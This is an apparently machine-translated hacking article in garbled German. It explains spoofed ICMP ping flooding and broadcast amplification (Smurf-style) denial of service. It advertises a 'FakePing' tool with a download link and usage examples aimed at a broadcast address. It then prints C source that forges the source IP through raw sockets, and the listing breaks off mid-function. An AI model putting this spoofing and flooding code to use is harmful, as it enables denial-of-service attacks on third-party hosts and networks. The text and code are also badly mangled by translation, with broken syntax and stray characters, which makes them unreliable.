Ping IP-Adresse des Hochwassers verschleierte Angriff



Kürzlich, rufen Sie wieder viele Menschen mit dem, was Ping tot, was vor Ort zu gehen, aber technisch gesehen, egal, was die Denial of Service-Attacken, um eine Bedingung zu erfüllen haben: mit den geringsten Ressourcen in Exchange als größte Verbrauch des Angreifers. Wie jeder Ping ist nicht nur seltsam: mit der größten Ressource für einander am wenigsten schaden; ist lächerlich: Volkskrieg vor 50 Jahren, gehören wahrscheinlich zu handeln, und in der Internet-Ära, nicht viele Leute in der Lage, wie die.

Heute sind wir für die Ping's, Ping wird durch Senden von ICMP-Nachricht (Typ 8 Code 0) auf die Existenz von Rechnern im Netz ein Werkzeug, ein vor langer Zeit ein Teil des Betriebssystems (zB Win95), erkunden Sie sind nicht gut mit großen Ping-Pakete behandelt , was zu einem Ping to Death von Angriffen (Ping-Tasche mit einer großen Ruine einander oder gefüllt Netzwerk), mit Betriebssystem-Upgrades, Netzwerkbandbreite Upgrades, sind Computer-Hardware-Upgrades, derzeit praktisch keine großen Ping-Pakete Großangriff Effekt (außer für verteilte Angriff), wenn wir müssen die Ping-Pakete verwenden, um andere Rechner anzugreifen, es sei denn, die Verwendung von TCP / IP-Protokoll oder über andere Merkmale der Netzwerk-Topologie der Intensität des Mangels Amplifikation Angriffe (sogenannte positive Rückkopplung)

Unter normalen Umständen, Ping Vorgang ist wie folgt:

Host A sendet Pakete an den Host ICMP 8,0 B

Host B sendet Nachrichten an den Host ICMP 0,0 A

Da war keine ICMP-Link auf, so geben Sie uns eine Chance, vorausgesetzt, nun als Host A Host sendet ICMP-Pakete 8,0 C, die Ergebnisse, was passieren würde? Natürlich verkleidet, die Host-Host B C wird dieser Bericht zu senden ist Papier weg

Response to Host C, die folgende Struktur:

C Masquerading Fehler wie die Host-Antwort

Host A Host B --------------------- ------------------ Host C

Dieser Fall, wie die Host A nur brauchen, um das Senden Ping-Pakete ohne die Notwendigkeit, mit der Rückkehr von EchoReply befassen, so Anstrengungen haben den Angriff multipliziert, während in Wirklichkeit die Host-B-und Host-C, um Ziele von Angriffen werden, und wird nicht bleiben unter der eigenen Marke, ist ein verdeckter Angriff zwei Fliegen mit einer Klappe Ansatz.

Methoden SOCK_RAW über IP können Tarnung, sondern sogar zweimal erweitert, denn je mehr robustes Betriebssystem und je größer die Bandbreite, noch viel Wirkung, machen wir wieder Sport organisiert? Nicht rechts, laß den Feind zu uns, gut zu vergrössern, TCP / IP in einem Konzept namens der Sendung, die so genannte Ausstrahlung gemeint, dass es eine Adresse, jeder Host im LAN werden an diese Adresse geschickt werden, um die Nachricht (das gleiche wie der Rundfunk zu empfangen) wenn? Sie Ja! Wenn wir eine Broadcastadresse ICMP ECHO-Paket (das ist die Broadcast-Adresse Ping it) senden gehen, das Ergebnis wird eine Menge Reaktion sein, Ethernet, so dass jeder auf eine Broadcast-Nachricht empfangen wird Host-Reaktion ICMP_ECHOREPLY ein, wenn Sie die Maschine in UNIX-Test Ping LAN-Broadcast-Adresse, was du willst eine Menge dup Paket Antwort sehen wollen, ist die Antwort, Windows-System, nicht die Art der Ergebnisse wiederholen, weil der Microsoft Ping-Programm nicht auf mehrere ausgepackt, die erste Paket empfangen zu reagieren, nachdem die hinter fallengelassen, und auch Microsoft's System nicht reagiert, um Adresse des Standard-Paket gesendet, so dass Sie besser in eine Menge von Unix-Host-LAN testen.

Hier sendet, smart, was ich jetzt tun? Hey hey wollen wissen, ja, wenn wir an eine Broadcast-Adresse an den Rechner anzugreifen sein vorgeben Ping-Anforderung Zeit werden alle die Broadcast-Adresse des Rechners auf die Ping-Anforderung zu reagieren Dies ist gleichbedeutend mit der Intensität der Attacken ist N-mal! (N = Broadcast-Adresse zu Ping-Pakete in der Anzahl der Hosts reagieren)

Masquerading als Host C falsch sind alle Radio-Host Reaktion

Host A --------------------- Broadcast-Adresse ======================= == Host C

Ich schrieb einen FakePing Tool können Sie Http: / / www.patching.net / Shotgun / FakePing.exe herunterladen.

Die Benutzung ist FakePing.exe FakeIP TargetIP [PacketSize], wenn TargetIP ist die Broadcast-Adresse, dann FakeIP angestrebt.

Quelle bekannt sind wie folgt:

typedef struct _iphdr / / Definition des IP-Headers

(

unsigned char h_verlen; / / 4 Grad 位 erste Minister, IP Version 4

unsigned char tos; / / 8 Dienstleistungen Typ TOS

unsigned short total_len; / / 16 Median Gesamtlänge (in Bytes)

unsigned short ident; / / 16-Bit-Identifizierung

unsigned short frag_and_flags; / / 3 Flags

unsigned char TTL; / / 8 medianen Überlebenszeit von TTL

unsigned char proto; / / 8-Bit-Protokoll (TCP, UDP oder andere)

unsigned short Prüfsumme; / / 16 位 IP-Header-Prüfsumme

unsigned int sourceIP; / / 32 digitalen Quell-IP-Adresse

unsigned int destIP; / / 32 位 Zweck der IP-Adresse

) IP_HEADER;

/ / Definieren ICMP-Header

typedef struct _ihdr

(

BYTE i_type; / / 8 Bit-Typ

BYTE i_code; / / 8-Bit-Code

USHORT i_cksum; / / 16-Bit-Prüfsumme

USHORT I_ID; / / Identifikationsnummer (in der Regel mit dem Prozess Zahl als die ID-Nummer)

USHORT i_seq; / / Message Sequence Number

ULONG timestamp; / / Zeitstempel

) ICMP_HEADER;

/ / Prüfsumme: Prüfsumme berechnen Funktionen

USHORT Prüfsumme (USHORT * buffer, int size)

(

unsigned long cksum = 0;

while (size 1)

(

cksum =* + Puffer + +;

-= Größe sizeof (USHORT);

)

if (size)

(

cksum + = * (* UCHAR)-Puffer;

)

cksum = (cksum 16) + (cksum & 0xFFFF);

cksum + = (cksum 16);

return (USHORT) (~ cksum);

)

/ / FakePing Hauptfunktion

int main (int argc, char ** argv)

(

int datasize, ErrorCode, counter, Flagge;

int TimeOut = 2000, SendSEQ = 0, PacketSize = 32;

char sendbuf [65535] = (0);

WSADATA WSADATA;

SOCKET SockRaw = (Sockel) NULL;

struct sockaddr_in DestAddr;

IP_HEADER ip_header;

ICMP_HEADER icmp_header;

char FakeSourceIp [20], DestIp [20];

/ / Akzeptieren Sie die Kommandozeilen-Parameter

if (argc 3)

(

printf ("FakePing von Shotgun

");

printf ("Dieses Programm kann Ping-Flooding von einem FakeIP tun

");

printf ("mit einem Broadcast-IP als FakeIP wird die Wirkung zu verbessern

");

printf ("E-Mail:

");

printf ("Shotgun@Xici.Net

");

printf ("Homepage:

");

printf ("http://It.Xici.Net

");

printf ("http://www.Patching.Net

");

printf ("Aufruf:

FakePing.exe FakeSourceIp DestinationIp [PacketSize]

");

printf ("Beispiel:

");

printf ("FakePing.exe 192.168.15.23 192.168.15.255

");

printf ("FakePing.exe 192.168.15.23 192.168.15.200 6400

");

exit (0);

)

strcpy (FakeSourceIp, argv [1]);

strcpy (DestIp, argv [2]);

if (argc 3) = PacketSize atoi (argv [3]);

if (PacketSize 60000)

(

printf ("Fehler! Packet zu groß, muss 60K

");

exit (0);

)

printf ("Jetzt Fake% s% s mit Ping Packet size =% d bytes

"

FakeSourceIp, DestIp, PacketSize);

printf ("Strg + C zum Beenden

");

/ / Initialisiere SOCK_RAW

if ((= ErrorCode WSAStartup (MAKEWORD (2,1), & WSADATA))! = 0)

(

fprintf (stderr, "WSAStartup fehlgeschlagen:% d

"ErrorCode);

ExitProcess (STATUS_FAILED);

)

if ((= SockRaw WSASocket (AF_INET, SOCK_RAW, IPPROTO_RAW, NULL, 0, WSA_FLAG_OVERLAPPED)) == INVALID_SOCKET)

(

fprintf (stderr, "WSASocket () fehlgeschlagen:% d

"WSAGetLastError ());

ExitProcess (STATUS_FAILED);

)

flag = true;

/ / Set IP_HDRINCL füllen ihre eigene IP-Header

ErrorCode = setsockopt (SockRaw, IPPROTO_IP, IP_HDRINCL, (char *) & Fahne, sizeof (int));

if (ErrorCode == SOCKET_ERROR)

printf ("Set IP_HDRINCL Error!

");

__try

(

/ / Set timeout senden

ErrorCode = setsockopt (SockRaw, SOL_SOCKET, SO_SNDTIMEO, (char *) & TimeOut, sizeof (TimeOut));

if (ErrorCode == SOCKET_ERROR)

(

fprintf (stderr, "Fehler beim Versenden TimeOut gesetzt:% d

"WSAGetLastError ());

__leave;

)

memset (& DestAddr, 0, sizeof (DestAddr));

DestAddr.sin_family = AF_INET;

DestAddr.sin_addr.s_addr = inet_addr (DestIp);

/ / Füllen IP-Header

ip_header.h_verlen = (4 4 | sizeof (ip_header) / sizeof (unsigned long)); / / High 4 IP-Versionsnummer, der erste Minister der geringen Grad von vier

ip_header.total_len = htons (sizeof (IP_HEADER) + sizeof (ICMP_HEADER)); / / 16 Median Gesamtlänge (in Bytes)

ip_header.ident = 1;

/ / 16 ID

ip_header.frag_and_flags = 0;

/ / 3. Flagge

ip_header.ttl = 128;

/ / 8-Bit-TTL Überlebenszeit

ip_header.proto = IPPROTO_ICMP;